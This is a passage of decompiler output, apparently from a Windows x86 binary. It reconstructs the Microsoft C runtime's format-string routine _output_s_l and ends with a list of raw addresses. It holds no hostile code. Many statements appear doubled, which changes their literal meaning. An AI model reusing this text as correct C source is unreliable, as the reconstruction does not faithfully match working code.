																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x435818; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435800))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x435840; // 0x504e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043582C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E520();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00423010(_t618))) = 0x16;
																						E00422DA0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041AFC0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BF30(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E520();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041AFC0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00423010(_t605))) = 0x16;
																				E00422DA0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041AFC0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E004285A0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E004358F0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E004285A0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E004358F0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E004344A0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E004358F0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E004285A0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x4358ac; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435870))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004285E0(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xc0d8c8fb
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xc0d7763b
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xc0d772bb
																							E00424860(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004285E0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428620(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004285E0(__ebp + 0x14);
																			if(E00434180() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E520();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																				__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AFC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x004351f9
0x004351f9
0x004351f9
0x004351f9
0x004351f9
0x004351f9
0x004351f9
0x004351ff
0x00435202
0x00000000
0x0043527a
0x00000000
0x0043527a
0x00000000
0x0043527a
0x0043527a
0x00435282
0x004352a4
0x004352aa
0x004352cf
0x00435316
0x00435319
0x0043533a
0x0043533f
0x00435344
0x0043534a
0x0043531b
0x0043531f
0x00435324
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d7
0x004352f9
0x004352fe
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352dd
0x004352e2
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352b0
0x004352b5
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435288
0x0043528d
0x00435290
0x00435296
0x00435296
0x00435356
0x00435398
0x0043539e
0x004353aa
0x00000000
0x00435358
0x00435358
0x00435358
0x0043535f
0x00000000
0x0043536c
0x0043536c
0x0043537a
0x0043537f
0x00435385
0x00435393
0x004353b0
0x004353b8
0x004353da
0x004353da
0x004353e4
0x004353f5
0x004353ff
0x00435401
0x00435401
0x004353e6
0x004353e6
0x004353e6
0x00435414
0x00435416
0x00435416
0x00435420
0x00435423
0x00435423
0x00435429
0x0043542c
0x00435431
0x00000000
0x00000000
0x00435441
0x00435444
0x0043544e
0x0043545d
0x00435466
0x0043547c
0x00435482
0x0043548f
0x0043549d
0x0043549d
0x004354ac
0x004354b4
0x004354b4
0x004354bc
0x004354c2
0x004354cb
0x004354d7
0x004354f0
0x004354f6
0x004354ff
0x004354ff
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00000000
0x00435502
0x00435502
0x00435502
0x00435506
0x004356ed
0x004356f1
0x004356f9
0x004356fe
0x00435701
0x00435701
0x00435708
0x00435708
0x004347df
0x004347e5
0x004347f2
0x004347f7
0x00000000
0x0043480a
0x00434814
0x0043483b
0x00434822
0x00434833
0x00434833
0x00434814
0x00434845
0x0043484b
0x00434857
0x0043485a
0x00434868
0x0043486b
0x00434878
0x0043491d
0x00434923
0x00434930
0x00000000
0x00000000
0x00434936
0x0043493c
0x00000000
0x00434943
0x00434943
0x0043495b
0x00434960
0x00434965
0x00434a1f
0x00434a32
0x00434a37
0x00000000
0x0043496b
0x0043497e
0x00434983
0x00434989
0x0043498b
0x00434994
0x00434997
0x004349a3
0x004349a7
0x004349ad
0x004349af
0x004349b4
0x004349b6
0x004349bb
